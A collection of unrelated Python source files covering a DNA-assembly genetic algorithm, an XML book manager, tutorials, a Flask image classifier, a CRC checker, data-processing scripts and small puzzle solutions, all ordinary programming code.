import random
import copy
import time

spectrum = []  # fragments of DNA sequence
cached = {}  # cached overlapping value for dna fragments
n, l = 0, 0  # power of spectrum and length of an element

def overlap(string1, string2):
    t = compute_back_track_table(string2)
    m, i = 0, 0
    while m + i < len(string1):
        if string2[i] == string1[m + i]:
            i += 1
        else:
            m += i - t[i]
            if i > 0:
                i = t[i]
    return i

def compute_back_track_table(s):
    t = [0] * len(s)
    cnd, pos, t[0], t[1] = 0, 2, -1, 0
    while pos < len(s):
        if s[pos - 1] == s[cnd]:
            t[pos] = cnd + 1
            pos += 1
            cnd += 1
        elif cnd > 0:
            cnd = t[cnd]
        else:
            t[pos] = 0
            pos += 1
    return t

class GeneticAlgorithm:
    def __init__(self, population_size, iterations_without_improvement, mutation_chance):
        self.size = population_size
        self.iterations_to_wait = iterations_without_improvement
        self.mutation_chance = mutation_chance
        self.population = []
        self.best_gene = None

    def compute(self, verbose=False):  # main function
        self.population = [Gene() for _ in range(self.size)]  # generate population
        self.best_gene = copy.deepcopy(self.population[0])  # assume first one is the best
        no_progress = 0  # iterations without progress
        TIMESTAMP = time.time()
        time_result = 0
        while self.iterations_to_wait - no_progress > 0:  # run until there is no improvement
            # sort population basing on length of their sequence
            self.population.sort(key=lambda x: x.get_value(), reverse=True)
            no_progress += 1  # assume there is no progress
            if self.is_improved():  # check if progress was made
                time_result = time.time() - TIMESTAMP
                if verbose:
                    print(no_progress, self.best_gene.get_solution())
                no_progress = 0  # reset progress count
            self.create_new_generation()  # perform crossovers and add random new genes
            self.perform_mutations()  # perform mutations basing on a given chance percentage
        return self.best_gene, time_result  # return the best gene ever!

    def is_improved(self):
        # check whether present best gene uses more spectrum elements than the best gene ever
        if self.population[0].get_solution()[0] > self.best_gene.get_solution()[0]:
            self.best_gene = copy.deepcopy(self.population[0])
            return True
        return False

    def create_new_generation(self):
        crossovers = 0  # count the number of crossovers performed
        while crossovers < self.size // 4:  # create a fourth of an original size genes in crossovers
            first_parent = second_parent = random.randint(0, self.size - 1)  # get random parents
            while first_parent == second_parent:  # ensure that parents are not duplicate elements
                second_parent = random.randint(0, self.size - 1)
            g1, g2 = self.population[first_parent], self.population[second_parent]
            Gene.crossover(g1, g2, self.population, self.size // 2 + crossovers)  # perform crossover
            crossovers += 1
        for i in range(self.size // 2 + crossovers, self.size):  # the weakest fourth of genes replace with random ones
            self.population[i] = Gene()

    def perform_mutations(self):
        for gene in self.population:
            if random.random() < self.mutation_chance:
                gene.mutate()

class Gene:
    @staticmethod
    def crossover(g1, g2, arr, ind):  # edge recombination operator
        neigh_list = {}  # adjacency list
        length = len(g1.permutation)  # expected length of a child
        for i, base in enumerate(g1.permutation):  # create nodes
            neigh_list[base] = {g1.permutation[i - 1], g1.permutation[(i + 1) % length]}
        for i, base in enumerate(g2.permutation):  # add neighbours to each node
            neigh_list[base].add(g2.permutation[i - 1])
            neigh_list[base].add(g2.permutation[(i + 1) % length])

        # a starting point of a child is a starting point of one of the parents
        neigh_chosen = [g1.permutation[0], g2.permutation[0]][random.randint(0, 1)]
        child = [neigh_chosen]

        while len(child) < length:  # run until child has desired length
            for k in neigh_list:  # for every node
                if neigh_chosen in neigh_list[k]:  # remove a chosen fragment from the node
                    neigh_list[k].remove(neigh_chosen)
            min_neigh_list = list(neigh_list[neigh_chosen])
            del neigh_list[neigh_chosen]  # delete list of the chosen node
            if len(min_neigh_list) > 0:  # if the chosen node has any neighbours
                # get the best match out of neighbours as next
                max_overlap = cached[neigh_chosen][max(min_neigh_list, key=lambda x: cached[neigh_chosen][x])]
                possibilities = list(filter(lambda x: cached[neigh_chosen][x] == max_overlap, min_neigh_list))
                neigh_chosen = possibilities[random.randint(0, len(possibilities) - 1)]
            else:
                # get the best match out of every node as next
                max_overlap = cached[neigh_chosen][max(neigh_list, key=lambda x: cached[neigh_chosen][x])]
                possibilities = list(filter(lambda x: cached[neigh_chosen][x] == max_overlap, neigh_list))
                neigh_chosen = possibilities[random.randint(0, len(possibilities) - 1)]

            child.append(neigh_chosen)  # add the node to the solution
        arr[ind] = Gene(child)

    def __init__(self, permutation=None):
        if permutation is None:  # if the permutation is not provided, shuffle the entire spectrum
            self.permutation = list(spectrum)
            random.shuffle(self.permutation)
        else:
            self.permutation = list(permutation)
        self.value_is_valid = False
        self.value = 0
        self.solution_is_valid = False
        self.solution = None

    def get_value(self):  # sum the total of all overlaps
        if not self.value_is_valid:
            self.value = 0
            for codon in range(len(self.permutation) - 1):
                self.value += cached[self.permutation[codon]][self.permutation[codon + 1]]
            self.value_is_valid = True
        return self.value

    def get_solution(self):  # get the slice with the best sum of overlaps
        if self.solution_is_valid:
            return self.solution
        limit = n_limit + l - 1  # maximum length of a sequence
        sequence = self.permutation[0]
        # count the overlap between fragments
        fits = [cached[self.permutation[s]][self.permutation[s + 1]] for s in range(len(self.permutation) - 1)]
        slice = (0, 0)
        for initial in range(len(fits)):  # for every initial position
            for final in range(initial + slice[1] - slice[0], len(fits)):  # for every (not worse) final position
                total = sum(fits[initial:final])
                if (final - initial + 1) * l - total >= limit:  # check if the constraint is met
                    break
                if final - initial > slice[1] - slice[0]:  # if the slice covers more than previous
                    slice = (initial, final)
        for s in range(slice[0], slice[1] + 1):  # assemble the fragments covered by the slice
            common = cached[self.permutation[s]][self.permutation[s + 1]]
            sequence += self.permutation[s + 1][common:]
        self.solution = slice[1] - slice[0] + 2, slice, sequence[:limit]
        self.solution_is_valid = True
        return slice[1] - slice[0] + 1, slice, sequence[:limit]

    def mutate(self):
        rnd1 = random.randint(0, n-1)
        rnd2 = random.randint(0, n-1)
        temp = self.permutation[rnd1]
        self.permutation[rnd1] = self.permutation[rnd2]
        self.permutation[rnd2] = temp
        self.value_is_valid = False
        self.solution_is_valid = False

if __name__ == '__main__':
    dict_test = {'end/': 12,
                 'neg/': 24,
                 'pos/': 12,
                 'rep/': 5}
    start_path = 'inst/'
    result_file = open('results.txt', 'a')

    for k, v in dict_test.items():
        result_file.write(k[:-1] + '\n')
        for i in range(1, v + 1):
            file_name = str.format('{0}{1}{2}.bin', start_path, k, i)
            cached = {}
            spectrum = []
            file = open(file_name)  # read an instance from file
            line = file.readline().replace('\n', '')

            while len(line) > 1:
                spectrum.append(line)
                cached[line] = {}  # prepare cached overlap structure
                line = file.readline().replace('\n', '')

            for s in cached:  # fill dictionary of overlapping fragments
                for ss in spectrum:
                    cached[s][ss] = overlap(s, ss)

            n = len(spectrum)
            n_limit = n
            if k == 'end/':
                n_limit += 50
                pass
            elif k =='pos/':
                while n_limit % 100 != 0:
                    n_limit -= 40
                pass
            elif k == 'rep/':
                n_limit += 32
                pass
            elif k == 'neg/':
                n_limit = 200 + 100*((i-1)//6)
                pass
            n_limit = n_limit - (n_limit % 100)
            l = len(spectrum[0])
            ppl = n
            iters = 25
            print(str.format('file: {0}, n = {1}, l = {2}', file_name, n, l))
            print('Population: ' + str(ppl) + ' for ' + str(iters))

            result_gene, time_r = GeneticAlgorithm(ppl, iters, 0.05).compute(verbose=True)

            print(str.format('{0} elements out of {1} in {2} seconds',
                             result_gene.get_solution()[0],
                             n,
                             time_r))

            result_file.write(str.format('{0};{1};{2};{3:.3f}\n',
                                         n,
                                         n_limit,
                                         result_gene.get_solution()[0],
                                         time_r).replace('.', ','))
    result_file.close()


import os
from typing import Text
import xml.etree.ElementTree as ET
from xml.etree.ElementTree import Element, SubElement, Comment, ElementTree

def prettify(elem):
    from xml.etree import ElementTree
    from xml.dom import minidom
    """Return a pretty-printed XML string for the Element.
    """
    rough_string = ElementTree.tostring(elem, 'utf-8')
    reparsed = minidom.parseString(rough_string)
    return reparsed.toprettyxml(indent="  ")

def leerXML(fichero):
    arbol = ET.parse(fichero)
    root = arbol.getroot()
    return root

def buscar(lib,tit):
    pos = 0
    for libro in lib:
        if(libro[0].text==tit):
            return pos
        pos += 1
    return -1

def alta():
    if(os.path.exists('Libreria.xml')):
        tree = leerXML("Libreria.xml")
    else:
        tree = Element("Libreria")

    titulo = input("Titulo\n")
    autor = input("Autor\n")
    generoAutor = input("H/M\n")
    edad = input("Edadn")
    genero = input("Genero\n")
    anio = input("Año de publicacion\n")

    libro = ET.Element('libro')
    tit = ET.SubElement(libro, 'titulo')
    tit.text = titulo
    aut = ET.SubElement(libro, 'autor',{'Genero':generoAutor,'Edad':edad})
    aut.text = autor
    gen = ET.SubElement(libro, 'genero')
    gen.text = genero
    a = ET.SubElement(libro, 'anio')
    a.text = anio
    tree.append(libro)

    salida = prettify(tree)
    file = open("Libreria.xml","w")
    file.write(salida)
    file.close()

def modificar():
    tree = leerXML("Libreria.xml")
    libro = input("Titulo del libro a modificar")
    anio = input("Introduce el nuevo año de publicacion:\n")
    pos = buscar(tree,libro)
    if(pos!=-1):
	    tree[pos][3].text = str(anio)
    else:
	    print("Libro no encontrado")
    salida = prettify(tree)
    file = open("Libreria.xml","w")
    file.write(salida)
    file.close()

def mostrar():
    tree = leerXML("Libreria.xml")
    cont = 0

    for libro in tree:
        print("Libro:", cont)
        cont += 1
        for elemento in libro:
            print("\t", elemento.tag, ":", elemento.text)

def borrar():
    tree = leerXML("Libreria.xml")
    titulo = input("Introduce el titulo del libro que quieres borrar:")
    pos = buscar(tree,titulo)
    if (pos != -1):
        del (tree[pos])
        print(titulo, "borrado")
    else:
        print("Titulo no encontrado")
    opcion = input("Quieres borrar otro titulo?(si/otro)")
    while (opcion.upper() == "SI"):
        titulo = input("Introduce el titulo del libro que quieres borrar:")
        pos = buscar(tree, titulo)
        if (pos != -1):
            del (tree[pos])
            print(titulo, "borrado")
        else:
            print("Titulo no encontrado")
        opcion = input("Quieres borrar otro titulo?(si/otro)")

    salida = prettify(tree)
    file = open("Libreria.xml","w")
    file.write(salida)
    file.close()

def buscarLibro():
    tree = leerXML("Libreria.xml")
    titulo = input("Introduce el titulo del libro que quieres buscar:")
    pos = buscar(tree,titulo)
    for libro in tree:
        if(libro[0].text==titulo):
            print("Libro: ",pos)

def menu():
    op = ""
    while op != "0":
        op = input("Introduce una opcion:\n1-ALTA\n2-BAJA\n3-MODIFICAR\n4-BUSCAR\n5-MOSTRAR TODOS\n0-SALIR\n")
        if op == "1":
            alta()
        elif op == "2":
            borrar()
        elif op == "3":
            modificar()
        elif op == "4":
            buscar()
        elif op == "5":
            mostrar()

print("EMPEZAMOS")

menu()

print("FIN")


#Chapter04-03
#파이썬 조건문
#while

#Whiel <expr>:
#   <statement(s)>
#한글 지원
import sys
import io
sys.stdout  = io.TextIOWrapper(sys.stdout.detach(), encoding = 'utf-8')
sys.stderr  = io.TextIOWrapper(sys.stderr.detach(), encoding = 'utf-8')
#예제1
n = 5
while n > 0:
    print(n)
    n = n - 1

#예제2
a = ['Kim','Park','Lee']

while a:
    print(a.pop())
    #print(a)하면 무한 반복해서 위험한 코드
    #Last in First

#예제3
#break, countinue

n =5
while n > 0:
    n -= 1
    if n == 2:
        break
    print(n)
print('end')

#예제4
#break, countinue
m = 5
while m > 0:
    m -= 1
    if m == 2:
        continue
    print(m)
print('end')

#if 중첩
#예제5
i = 1
while i<= 10:
    print(i)
    if i==6:
        break
    i += 1

#wjile - else 구문
#예제6
n = 10
while n > 0:
    n -= 1
    print(n)
    if n == 5:
        break
else:
    print('else out.')

    #정상적으로 모든 것을 잘 수행하면 else를 수행
    #break문 있으면 else문 아들어감

#예제7
a = ['foo', 'bar', 'baz', 'qux']
x = 'qux'
i = 0
while i < len(a):
    if a[i] == x:
        break
    print(a[i] , '를 찾았습니다.')


from flask import Flask, render_template, request, make_response
from fastai import *
from fastai.vision import *
import os
IMG_FOLDER = '/static'
app = Flask(__name__)
app.config['IMG_FOLDER'] = IMG_FOLDER
learn = load_learner('model/')

@app.route('/upload')
def upload():
   return render_template('upload.html')

@app.route('/result', methods = ['GET', 'POST'])
def upload_file():
   if request.method == 'POST':
      f = request.files['file']
      f.save('static/img.jpg')
      f.close()
      img = open_image('static/img.jpg')
      prediction = learn.predict(img)[0]
      template = open('templates/result.html', 'w')
      content = """<!DOCTYPE html>

    <meta charset="UTF-8">
    <title>Result</title>

            prediction = """ + str(prediction) + """

"""
      template.write(content)
      template.close()

      resp = make_response(render_template("result.html"))
      resp.headers['Cache-Control'] =  'no-cache, no-store'
      resp.headers['Pragma'] = 'no-cache'
      return resp

if __name__ == '__main__':
   app.run(debug = True)


ROCK = "A"
PAPER = "B"
SCISSORS = "C"

#11767
#13886

def readFile():
    games = []

    f = open("./input.txt", "r")
    for x in f.readlines():
        temp = x.split()
        temp[1] = chr(ord(temp[1])-ord("X")+ord("A"))
        games.append(temp)
    f.close()
    return games

def rps(elf, me):
    if (me == elf):
        return 3
    if (me == ROCK and elf == SCISSORS) or (me == PAPER and elf == ROCK) or(me == SCISSORS and elf == PAPER):
        return 6
    return 0

def first_star(games):
    sum = 0
    for game in games:
        sum += rps(game[0], game[1]) + ord(game[1]) - ord("A") + 1
    print(sum)

def second_star(games):
    for i in range(len(games)):
        if games[i][1] == PAPER:
            games[i][1] = games[i][0]
        else:
            games[i][1] = chr(((ord(games[i][0]) - ord("A") + 1 + int(games[i][1]==ROCK)) % 3) + ord("A"))
    first_star(games)

if __name__ == "__main__":
    games = readFile()
    first_star(games)
    second_star(games)


import random

def get_crc_error(gx,mx):
    index = 0
    for i in range(len(mx)):
        if mx[i] == 1:
            index = i
            break

    qx,rx = list(),str()
    operate = str(mx[index:index+len(gx)])
    index = index + len(gx)

    while index <= len(mx):
        rx = str()
        qx.append(1)
        for i in range(0,len(gx)) :
            bit = int(operate[i]) ^ int(gx[i])
            rx = rx + str(bit)
        rx = rx.lstrip('0')

        if rx == str():
            count = 0
            while index + count < len(mx):
                if mx[index + count] == str(1):
                    break
                qx.append(0)
                count = count + 1
            if index + count == len(mx):
                rx = rx + str(mx[index:index+(len(mx)-index+1)])
                break
            index = index + count
        if index+len(gx)-len(rx) > len(mx):
            rx = rx + str(mx[index:index+(len(mx)-index+1)])
            qx = qx + [0 for i in range(len(mx)-index)]
            break
        else:
            operate = rx + str(mx[index:index+(len(gx)-len(rx))])
            index = index + (len(gx)-len(rx))
            qx.extend([0 for i in range(len(gx)-len(rx)-1)])
    return qx,rx

crc = str(100000111)
mx = '00110000101101101000000000110010011110110001111010111010000011111011111111001011101010000111101000011000011100100011000101100010'
quotient,remainder = get_crc_error(crc,mx)

if remainder == str():
    print("CRC Check: Error Not Detected\n\n")
else:
    print("CRC Check: Error Detected\n\n")


import tensorflow as tf
import numpy as np
average_episode_len = 80
hyperparameters = {
    "agent_name": "agent_"+str(np.random.randint(low=100000,high=999999)),
    "environment_embedding_network_layers": [{
        "size": 128
    },{
        "size": 128
    }],
    "output_layers": [{
        "size": 256
    }],
    "embedding_repeat": 1,
    "embedding_fn": "sawtooth",
    "layer_activation": tf.nn.leaky_relu,
    "gamma": 0.99,
    "tau": 0.001,
    "max_episodes": int(1e6),
    "max_episode_length": 1024,
    "batch_size": 128,
    "epsilon_shape": [[50, 1.0], [700, 0.05]],
    "epsilon_initial": 1.0,
    "epsilon_decay": 0.995,
    "epsilon_min": 0.01,
    "epsilon_max": 1.0,
    "epsilon_multiplier_pct": 0.0,
    "epsilon_multiplier_min": 0.3,
    "epsilon_multiplier_max": 1.0,
    "environment_steps_per_training_step": 4,
    "min_memory_buffer_size_for_training": 2048,
    "max_memory_buffer_size": int(1e6),
    "num_quantiles": 8,
    "kappa": 1.0,
    "learning_rate": 5e-4,
    "max_gradient_norm": 5.0,
    "quantile_threshold_low": 0.0,
    "quantile_threshold_high": 1.0,
}


#!/usr/bin/env python
from mpi4py import MPI
import subprocess

comm = MPI.COMM_WORLD
rank = comm.Get_rank()

host_name = subprocess.check_output("hostname").strip()
print("Hostname: {0} Rank: {1}".format(host_name, rank))

if rank == 0:
  master = host_name
else:
  master = None

master = comm.bcast(master, root=0)
print("Hostname: {0} Master: {1}".format(host_name, master))


"""
    自定义异常
"""
from typing import Any, Optional, Dict

from fastapi import HTTPException

class TaskCreateError(Exception):
    def __init__(self, message: str):
        self.message = message

class AigcContentUpdateError(Exception):
    """ aigc内容更新错误 """
    def __init__(self, message: str):
        self.message = message

class CustomHTTPException(HTTPException):
    """ 自定义http异常 """
    def __init__(self, status_code: int, detail: Any = None, headers: Optional[Dict[str, Any]] = None,
                 code: int = 0, msg: str = "", sub_code: int = 0, sub_msg: str = ""):
        super().__init__(status_code=status_code, detail=detail, headers=headers)
        self.code = code
        self.msg = msg
        self.sub_code = sub_code
        self.sub_msg = sub_msg

class UserQueryError(Exception):
    """ 用户查询错误 """
    ...

class VerificationCodeError(Exception):
    """ 验证码校验错误 """
    ...

class RequestIsTooFrequentError(Exception):
    """
    请求过于频繁异常
    """
    ...

class NoApiKeysAvailableError(Exception):
    """
    无可用的api_key了
    """
    ...

class InsufficientTokenLeftCreditError(Exception):
    """
    当前用户没有额度了
    """
    ...


import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
from pandas import Series, DataFrame
from pylab import mpl
import xlwt
def draw(x,y1,y2,y3,df):
    # plt.xticks(x, x_1,rotation=0)
    fig = plt.figure(figsize=(20, 10))
    ax1 = fig.add_subplot(111)
    df["TF"].plot(ax=ax1, style='bD--', alpha=0.4, label='TF')  # alpha表示点的透明程度
    df["IDF"].plot(ax=ax1, style='go-.', alpha=0.5, label='IDF')
    plt.xlabel('Words')
    ax1.set_yticks(np.arange(0, 10, 0.5))
    ax1.set_ylabel('TF or IDF')
    plt.legend(loc=2)

    ax2 = ax1.twinx()
    df["TF-IDF"].plot(ax=ax2, grid=True, label='TF-IDF', style='y>-.', alpha=0.7)
    ax2.set_yticks(np.arange(0, 0.01, 0.001))
    ax2.set_ylabel('TF-IDF')
    plt.legend(loc=1)
    plt.title('TF,IDF,TF-IDF\'s distribution')
    plt.show()
def writeexcel(x,y1,y2,y3):
    workbook = xlwt.Workbook(encoding='utf-8')
    worksheet = workbook.add_sheet('My Worksheet')

    # 写入excel
    # 参数对应 行, 列, 值
    worksheet.write(0, 0, label='Words')
    worksheet.write(0, 1, label='TF')
    worksheet.write(0, 2, label='IDF')
    worksheet.write(0, 3, label='TF-IDF')
    x1=1
    y11=1
    y21=1
    y31=1
    for xl in x:
        worksheet.write(x1, 0, label=xl)
        x1+=1
    for yl1 in y1:
        worksheet.write(y11, 1, label=yl1)
        y11+=1
    for yl2 in y2:
        worksheet.write(y21, 2, label=yl2)
        y21+=1
    for yl3 in y3:
        worksheet.write(y31, 3, label=yl3)
        y31+=1

    # 保存
    workbook.save('TF,IDF,TF-IDF.xls')
if __name__ == '__main__':
    x=[]
    y1=[]
    y2=[]
    y3=[]
    fw=open("最新阶段词频及TFIDF.txt",'r',encoding='utf-8')
    lines=fw.readlines()
    k=1
    for line in lines:
        if k<=200:
            line=line.strip()
            splitline=line.split(",")
            x.append(splitline[0][6:])
            y1.append(float(splitline[2][4:]))
            y2.append(float(splitline[3][5:]))
            y3.append(float(splitline[4][10:]))
        k=k+1
    writeexcel(x,y1,y2,y3)
    mpl.rcParams['font.sans-serif'] = ['SimHei']  # 设置字体为黑体
    mpl.rcParams['axes.unicode_minus'] = False
    xls_file = pd.ExcelFile('TF,IDF,TF-IDF.xls')  # 打开工作簿
    table = xls_file.parse('My Worksheet')
    df = table.set_index('Words')
    draw(x,y1,y2,y3,df)

新闻数据处理与可视化/数据可视化处理/双y轴折线图.py


from pyspark.sql import SparkSession

spark = SparkSession.builder.appName("work").getOrCreate()
df = spark.read.format("csv").option("header", "true").load("/Users/mac/PycharmProjects/pysparkTest/work1/workload_short.csv")
df1 = spark.read.format("csv").option("header", "true").load("/Users/mac/PycharmProjects/pysparkTest/work1/CPS.csv")
df.createOrReplaceTempView("works")
df1.createOrReplaceTempView("cps")
res0 = spark.sql("select w.race,w.sex,(select count(1) from  cps c where  c.race = w.race) as counts from works w where w.sex ='*' ")

res1 =spark.sql("select  w.race,w.sex,(select count(1) from  cps c where  c.race = w.race and c.sex = w.sex ) as counts from works w where w.sex !='*' ")

res0.show(10)
res1.show(10)


def get_allowed_query_params(view):
    """
    The list of allowed parameters is obtained from multiple sources:

      * filter set class
      * filter_fields attribute
      * extra_query_params attribute (which should be a list/tuple of strings)
      * paginate_by_param attribute

    The serializer can define what query parameters it uses by defining a
    `query_params` class attribute on the serializer. Note that this should
    only include the parameters that are passed via URL query string, not
    request body fields.
    """

    allowed_keys = set()

    # Take all filters from filter set.
    filter_class = getattr(view, 'filter_class', None)
    if filter_class:
        filter_set = filter_class()
        allowed_keys.update(filter_set.filters.keys())
    # Take filters if no filter set is used.
    allowed_keys.update(getattr(view.__class__, 'filter_fields', []))
    # Take extra params specified on viewset.
    allowed_keys.update(getattr(view.__class__, 'extra_query_params', []))
    # add ordering key to allowed_keys params
    allowed_keys.update(['ordering'])
    # Add pagination param.
    if hasattr(view, 'paginator'):
        page = getattr(view.paginator, 'page_query_param', None)
        if page:
            allowed_keys.add(page)
        page_size = getattr(view.paginator, 'page_size_query_param', None)
        if page_size:
            allowed_keys.add(page_size)

    # Add fields from serializer if specified.
    serializer_class = getattr(view, 'serializer_class', None)
    if serializer_class:
        allowed_keys.update(getattr(serializer_class, 'query_params', set()))
    return allowed_keys


def calculator(boy , girl):
    unique_boy = []
    unique_girl = []
    for letter in girl:
        if letter not in unique_girl:
            unique_girl.append(letter)

    for letter in boy:
        if letter not in unique_boy:
            unique_boy.append(letter)

    unique_girl.sort()
    unique_boy.sort()

    count_array_girl = []
    count_array_boy = []

    for k in unique_boy:
        count_array_boy.append(boy.count(k))

    for k in unique_girl:
        count_array_girl.append(girl.count(k))

    girl_accouring = ""
    boy_accouring = ""
    for n in range(3):
        index_g = count_array_girl.index(max(count_array_girl))
        index_b = count_array_boy.index(max(count_array_boy))

        girl_accouring += unique_girl[index_g]
        boy_accouring += unique_boy[index_b]

        count_array_girl[index_g] = 0
        count_array_boy[index_b] = 0

    print(boy_accouring)
    print(girl_accouring)

    if(girl_accouring == boy_accouring):
        return "Match"
    else:
        return "Not a Match"

print(calculator(list(input().lower()) , list(input().lower())))


"""
Discouraged tests for cfg, lib, and main code. Normally the tests would live in different modules.
"""
from unittest.mock import (
    patch,
    MagicMock
)

import pytest

import examples.testing.main as m

def test_query_db_magicmock():
    """
    Use MagicMock to mock query_db.

    NOTE: MagicMock can't do autospec, so probably don't use it.
    """
    mock_query_db = MagicMock(spec_set=m.query_db)
    mock_query_db("foo")
    mock_query_db.assert_called_with("foo")
    mock_query_db.assert_called_once()

    # NOTE: MagicMock doesn't use the function signature so the line below
    # won't raise an error.
    mock_query_db("foo", "bar")

@patch("examples.testing.main.query_db")
def test_query_db_patch_without_autospec(mock_query_db):
    """
    Use patch to mock query_db.

    NOTE: If we don't pass autospec=True, the mock function can have a different
    function signature than the original function. So pass autospec=True.
    """
    mock_query_db("foo", "bar")
    mock_query_db.assert_called_with("foo", "bar")
    mock_query_db.assert_called_once()

@patch("examples.testing.main.query_db", autospec=True)
def test_query_db_patch_with_autospec(mock_query_db):
    """
    Use patch to mock query_db.

    Passing autospec=True makes the mock function can have the same
    function signature as the original function.
    """
    with pytest.raises(TypeError):
        mock_query_db("foo", "bar")

    mock_query_db("foo")
    mock_query_db.assert_called_with("foo")
    mock_query_db.assert_called_once()


"""
Craps赌博游戏
Author: zhouju
Version: 0.1
Date: 2019-06-10
"""
from random import randint

money = int(input("请输入游戏筹码："))
while money > 0:
    while True:
        debt = int(input("你目前拥有筹码：%d。请下注：" % money))
        if 0 < debt <= money:
            break
    first = randint(1, 6) + randint(1, 6)
    need_to_go_on = False
    if first == 7 or first == 11:
        money = money + debt
        print("玩家掷出了%d点，玩家胜" % first)
    elif first == 2 or first == 3 or first == 12:
        money = money - debt
        print("玩家掷出了%d点，庄家胜" % first)
    else:
        print("玩家掷出了%d点，未分胜负，继续" % first)
        need_to_go_on = True
    while need_to_go_on:
        go_on = randint(1, 6) + randint(1, 6)
        if go_on == first:
            print("玩家掷出了%d点，玩家胜" % go_on)
            money = money + debt
            need_to_go_on = False
        elif go_on == 7:
            print("玩家掷出了%d点，庄家胜" % go_on)
            money = money - debt
            need_to_go_on = False
        else:
            pass
else:
    print("你破产了！")


#!usr/bin/env python3
#
# Author(s):    Roman Rivera (Invisible Institute)

'''merge script for 10_complaints-witnesses_2000-2016_2016-11_p046957'''

import pandas as pd
import __main__

from merge_functions import ReferenceData
import setup

def get_setup():
    ''' encapsulates args.
        calls setup.do_setup() which returns constants and logger
        constants contains args and a few often-useful bits in it
        including constants.write_yamlvar()
        logger is used to write logging messages
    '''
    script_path = __main__.__file__
    args = {
        'input_reference_file': 'input/officer-reference.csv.gz',
        'output_reference_file': 'output/officer-reference.csv.gz',
        'universal_id': 'UID',
        'input_profiles_file' : 'input/complaints-witnesses_2000-2016_2016-11_profiles.csv.gz',
        'add_cols' : [
            'F4FN', 'F4LN', 'L4LN', 'F3FN', 'L3FN', 'F1FN', 'BY_to_CA',
            {'id' : 'UID',
             'exec' : ("df.loc[df['appointed_date'].isnull(), 'appointed_date']"
                       " = df.loc[df['appointed_date'].isnull(), 'so_max_date']")},
            {'id' : 'UID',
             'exec' : "df['FN2']=df['last_name_NS']"},
            {'id' : 'UID',
             'exec' : "df['LN2']=df['first_name_NS']"},
            {'id' : 'complaints-witnesses_2000-2016_2016-11_ID',
             'exec' : "df['FN2']=df['first_name_NS']"},
            {'id' : 'complaints-witnesses_2000-2016_2016-11_ID',
             'exec' : "df['LN2']=df['last_name_NS']"}],
        'loop_merge' : {
            'custom_merges' : [
                ['FN2', 'LN2', 'birth_year', 'appointed_date', 'star'],
                ['first_name_NS', 'L4LN', 'birth_year', 'appointed_date'],
                ['F3FN', 'L3FN', 'last_name_NS', 'birth_year', 'appointed_date', 'star'],
                ['first_name_NS', 'star', 'birth_year', 'appointed_date'],
                ['F4FN', 'star', 'birth_year', 'appointed_date'],
                ['F3FN', 'last_name_NS', 'birth_year', 'appointed_date'],
                ['F1FN', 'L3FN', 'birth_year', 'appointed_date', 'star'],
                ['last_name_NS', 'birth_year', 'appointed_date', 'star'],
                ['first_name_NS', 'birth_year', 'appointed_date'],
                ['F4LN', 'birth_year', 'appointed_date'],
                ['first_name_NS', 'last_name_NS', 'birth_year'],
                ],
                'verbose' : True,
                'one_to_one' : False
            },
        'input_remerge_file' : 'input/complaints-witnesses_2000-2016_2016-11.csv.gz',
        'output_remerge_file' : 'output/complaints-witnesses_2000-2016_2016-11.csv.gz',
        }

    assert args['input_reference_file'] == 'input/officer-reference.csv.gz',\
        'Input reference file is not correct.'
    assert args['output_reference_file'] == 'output/officer-reference.csv.gz',\
        'Output reference file is not correct.'

    return setup.do_setup(script_path, args)

cons, log = get_setup()

ref_df = pd.read_csv(cons.input_reference_file)
sup_df = pd.read_csv(cons.input_profiles_file)

ReferenceData(ref_df, uid=cons.universal_id, log=log)\
    .add_sup_data(sup_df, add_cols=cons.add_cols)\
    .loop_merge(**cons.loop_merge)\
    .append_to_reference()\
    .remerge_to_file(cons.input_remerge_file,
                    cons.output_remerge_file,
                    cons.csv_opts)\
    .write_reference(cons.output_reference_file, cons.csv_opts)


class Solution:
    def findDisappearedNumbers(self, nums):
        nums.sort()
        ans = []
        cur = 0
        for item in nums:
            if item == cur:
                continue
            else:
                for i in range(cur + 1, item):
                    ans.append(i)
                cur = item
        for i in range(cur + 1, len(nums) + 1):
            ans.append(i)
        return ans
s = Solution()
print(s.findDisappearedNumbers([2,5,5,5,5]))

Leetcode/Leetcode-Find All Numbers Disappeared in an Array.py


import torch
from torch import nn
import torch.nn.functional as F
from torch.utils.data import DataLoader, random_split
import torch.nn.init as init
from torch import optim
from model import Model, LSTM, FFN, ILSTM, PointHWnet, Mdl
import numpy as np
import pandas as pd
import csv
import random
from scipy import spatial
import argparse
import os
import string
from utils import Averager, CTCLabelConverter, load_csv, AttnLabelConverter
from Levenshtein import distance
import fastwer
from spellchecker import SpellChecker

os.environ['CUDA_LAUNCH_BLOCKING'] = "1"

def val(opt):

    """ dataset preparation """
    # loading data
    spell = SpellChecker()

    cp1 = np.load('../../../extra/data/hrishikesh/feats_original_hwnet_'+opt.type+'.npy')
    if opt.model_type != 6:
      cp2 = np.load('/net/voxel03/misc/extra/data/hrishikesh/semantic_rep_new_'+opt.type+'.npy')
      #cp2 = cp2[:cp1.shape[0]]
      cp = np.hstack((cp1,cp2))
    else:
      cp = cp1
    l_val = np.load('/net/voxel03/misc/extra/data/hrishikesh/text_new_'+opt.type+'.npy')
    cp1 = torch.tensor(cp1)

    if opt.model_type == 6:
      cp2 = np.load('/net/voxel03/misc/extra/data/hrishikesh/semantic_rep_new_'+opt.type+'.npy')
      #cp2 = np.load('../../../extra/data/hrishikesh/points_new_'+opt.type+'.npy')
      cp2 = torch.tensor(cp2)
      #cp2 = torch.reshape(cp2,(cp2.size()[0],1280,6))
      print(cp2.size())

    #if opt.model_type != 3 and opt.model_type != 4 and opt.model != 6:
    #  cp = torch.reshape(cp, (cp.size()[0],32,96))
    print('train data loaded',cp1.size())

    print(opt.type+' data loaded', cp2.size())

    print(l_val.shape)
    print(l_val)

    # Create Dataloader of the above tensor with batch size
    cp_val = DataLoader(cp, batch_size=opt.batch_size)
    if opt.model_type == 6:
      cp_val = DataLoader(cp2, batch_size=opt.batch_size)
      cp_val_hw = DataLoader(cp1, batch_size=opt.batch_size)

    """ model configuration """

    if 'CTC' in opt.Prediction:
        converter = CTCLabelConverter(opt.character)
    else:
        converter = AttnLabelConverter(opt.character)

    opt.num_class = len(converter.character)

    if opt.model_type == 1:
      model = Model(opt)

    elif opt.model_type == 2:
      model = LSTM(opt)

    elif opt.model_type == 4:
      model = ILSTM(opt)

    elif opt.model_type == 6:
      model = Mdl(opt)

    else:
      model = FFN(opt)

    model = model.to(device)
    print(model)

